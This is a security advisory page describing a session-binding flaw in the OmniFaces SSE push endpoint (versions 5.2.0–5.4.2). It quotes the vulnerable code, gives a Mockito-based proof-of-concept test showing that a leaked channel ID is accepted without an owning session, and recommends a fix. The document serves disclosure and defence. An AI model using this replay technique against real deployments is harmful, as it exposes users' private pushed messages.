
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 5.2.0, <= 5.4.2
Patched in 5.4.3
Details
GHSA-fp43-vj7g-pg92 (fixed 5.4.2) bound session- and view-scoped WebSocket (o:socket) push channels to the HTTP session that registered them, so a leaked channel ID can no longer be connected to from a foreign or absent HTTP session. The fix (d5cae243c4) touched only the Socket* classes.
The parallel SSE (o:sse, added in 5.2) push transport was left unchanged. SseEndpoint.doGet accepts a connection whenever the presented channel ID is in the application-wide registry, without ever checking that the caller's HTTP session owns it. A leaked session/view-scoped SSE channel ID can therefore be replayed from any (or no) HTTP session to receive the messages pushed to it — exactly the behaviour the advisory removed for WebSocket, still present on SSE at the latest release.
Both push transports share the same base classes. A session- or view-scoped channel ID is minted as channel + "?" + UUID.randomUUID() and registered only in an application-scoped, session-agnostic registry: PushChannelManager#L123 mints it and #L136 calls getPushSessions().register(channelId); the registry's membership test is PushSessionManager#L137-L139:
protected boolean isRegistered(String channelId) {
return sessions.containsKey(channelId); // keyed by channelId only — no HTTP-session dimension
}
WebSocket (fixed). SocketChannelManager.register additionally records session/view channel IDs on the HTTP session, and the handshake refuses anything not owned by the caller's session, at SocketEndpoint.java#L133-L142:
if (
!SocketChannelManager.isApplicationScopedChannelId(channelId)
&& !SocketChannelManager.isChannelIdRegisteredInSession((HttpSession) request.getHttpSession(), channelId)
) {
throw new IllegalStateException(ERROR_UNAUTHORIZED_CHANNEL);
}
SSE (unfixed). SseChannelManager extends the base register() unchanged (no HTTP-session registration), and the endpoint's sole accept gate is the global isRegistered check, at SseEndpoint.java#L59-L66:
var channel = getChannel(request);
var channelId = channel + "?" + request.getQueryString();
var sseSessions = Beans.getReference(SseSessionManager.class);
if (channel == null || !sseSessions.isRegistered(channelId)) {
response.getOutputStream().write(SSE_NOT_FOUND_EVENT);
return;
}
// ...accepts: startAsync() and streams events for this channel
doGet never calls request.getSession(...); no Sse* class consults the HTTP session for the accept decision. So for a session/view-scoped channel ID the fix intends to bind, WebSocket refuses a foreign/absent session while SSE accepts it. (Application-scoped channels are unbound by design on both transports — not at issue here.)
Related, same root cause: the idle-timeout and max-sessions-per-channel bounds the fix added to SocketEndpoint / SocketSessionManager were also not ported to SSE — SseEndpoint.doGet sets asyncContext.setTimeout(0) and SseSessionManager inherits the unbounded getMaxSessionsPerChannel().
The PoC drives the real SseEndpoint.doGet from omnifaces 5.4.2 and shows it accepts a leaked session-scoped channel ID from a request carrying no owning HTTP session (and never consults the session), while the WebSocket fix refuses the same class of ID.
mkdir -p /tmp/omnifaces-sse-poc/src/test/java/org/omnifaces/cdi/push
cd /tmp/omnifaces-sse-poc
cat > pom.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>poc</groupId>
<artifactId>omnifaces-sse-poc</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.release>21</maven.compiler.release>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.omnifaces</groupId>
<artifactId>omnifaces</artifactId>
<version>5.4.2</version>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>6.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.enterprise</groupId>
<artifactId>jakarta.enterprise.cdi-api</artifactId>
<version>4.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.websocket</groupId>
<artifactId>jakarta.websocket-api</artifactId>
<version>2.2.0</version>
</dependency>
<dependency>
<groupId>org.apache.myfaces.core</groupId>
<artifactId>myfaces-api</artifactId>
<version>4.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.el</groupId>
<artifactId>jakarta.el-api</artifactId>
<version>6.0.0</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<version>5.11.3</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mockito</groupId>
<artifactId>mockito-core</artifactId>
<version>5.14.2</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.5.1</version>
</plugin>
</plugins>
</build>
</project>
EOF
cd /tmp/omnifaces-sse-poc
cat > src/test/java/org/omnifaces/cdi/push/SseChannelBindingPoCTest.java <<'EOF'
package org.omnifaces.cdi.push;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.Mockito.RETURNS_DEEP_STUBS;
import static org.mockito.Mockito.atLeastOnce;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.mockStatic;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
import java.lang.reflect.Field;
import java.util.UUID;
import org.junit.jupiter.api.Test;
import org.mockito.MockedStatic;
import org.omnifaces.util.Beans;
import jakarta.servlet.AsyncContext;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
// Placed in package org.omnifaces.cdi.push to reach the protected/package-private push internals.
class SseChannelBindingPoCTest {
// Drives the REAL SseEndpoint.doGet from omnifaces 5.4.2 (the advisory-patched release).
// A session-scoped SSE channel id that leaked is accepted from a request that carries no
// owning HTTP session, and the endpoint never even calls getSession().
@Test
void sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session() throws Exception {
SseSessionManager registry = new SseSessionManager(); // the @ApplicationScoped global registry
setField(registry, "sseUsers", mock(SseUserManager.class)); // consulted by add(); return null user
String channel = "clock";
String uuid = UUID.randomUUID().toString();
String leakedChannelId = channel + "?" + uuid; // session-scoped id = channel + "?" + UUID
registry.register(leakedChannelId); // victim's page registered it at push time
HttpServletRequest request = mock(HttpServletRequest.class, RETURNS_DEEP_STUBS);
when(request.getPathInfo()).thenReturn("/" + channel);
when(request.getQueryString()).thenReturn(uuid);
AsyncContext asyncContext = mock(AsyncContext.class);
when(request.startAsync()).thenReturn(asyncContext);
HttpServletResponse response = mock(HttpServletResponse.class, RETURNS_DEEP_STUBS);
try (MockedStatic<Beans> beans = mockStatic(Beans.class)) {
beans.when(() -> Beans.getReference(SseSessionManager.class)).thenReturn(registry);
new SseEndpoint().doGet(request, response); // the real endpoint
verify(request).startAsync(); // accept branch: event stream opened
assertTrue(registry.isRegistered(leakedChannelId)); // attacker connection registered under victim's id
verify(request, never()).getSession(); // endpoint NEVER consults the HTTP session
verify(request, never()).getSession(anyBoolean());
verify(response, never()).getOutputStream(); // 404 reject branch NOT taken
beans.verify(() -> Beans.getReference(SseSessionManager.class), atLeastOnce());
}
}
// The differential: GHSA-fp43-vj7g-pg92 added exactly this binding to the WebSocket transport.
// For the same class of leaked session-scoped id, a caller with no owning HTTP session is refused.
@Test
void websocket_fix_binds_the_same_class_of_id_to_the_http_session() {
String leakedSessionScopedChannelId = "clock?" + UUID.randomUUID();
assertFalse(SocketChannelManager.isChannelIdRegisteredInSession(null, leakedSessionScopedChannelId));
assertFalse(SocketChannelManager.isApplicationScopedChannelId(leakedSessionScopedChannelId));
}
private static void setField(Object target, String name, Object value) throws Exception {
Field field = SseSessionManager.class.getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
}
EOF
cd /tmp/omnifaces-sse-poc
mvn -B test -DargLine="-Dnet.bytebuddy.experimental=true"
The net.bytebuddy.experimental flag lets Mockito's inline mock maker run on JDK 25; it is harmless on JDK 21-24.
Expected output:
[INFO] T E S T S
[INFO] Running org.omnifaces.cdi.push.SseChannelBindingPoCTest
[INFO] Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
[INFO] BUILD SUCCESS
sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session passing means the real SseEndpoint.doGet opened the event stream for the leaked channel ID (startAsync called, connection registered, no 404 written) without ever calling getSession(). websocket_fix_binds_the_same_class_of_id_to_the_http_session passing shows the WebSocket fix refuses that same class of ID for a caller with no owning session.
Port the WebSocket session binding to SSE: register session/view scoped channel IDs on the HTTP session (as SocketChannelManager.registerChannelIdInSession does) and, in SseEndpoint.doGet, refuse the connection unless the channel is application-scoped or isChannelIdRegisteredInSession(request.getSession(false), channelId). Also port the idle-timeout and max-sessions-per-channel bounds to SseEndpoint / SseSessionManager. (Advisory only.)
rm -rf /tmp/omnifaces-sse-poc
An application that uses <o:sse> / @Push(type=SSE) with scope="session", scope="view", or a user attribute pushes messages intended for one session/user. The channel ID (channel + "?" + UUID) is a per-session/view secret carried in the SSE request URL, so it is exposed anywhere such URLs are logged: proxy and server access logs (CWE-598), APM / error reports, Referer headers, or a shared/copied link. An attacker who obtains a victim's channel ID can, from a different browser or with no session at all, connect to the SSE endpoint and receive every message the application pushes to that channel — data the scope exists to keep private to the victim. This is the same replay the maintainer fixed for the WebSocket transport in GHSA-fp43-vj7g-pg92 (issue: session/view channels connectable from a foreign or absent HTTP session), still reachable on SSE at 5.4.2. The concrete confidentiality depends on what the application pushes to the scope; the attacker only receives (no message injection). It requires prior exposure of the channel ID, matching the advisory's own threat model for the WebSocket case.
EPSS, exploit probability
Low0.35%
estimated chance of real-world exploitation in the next 30 days, higher than 28.9% of every CVE FIRST.org scores
Refreshed 11/19/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More maven advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.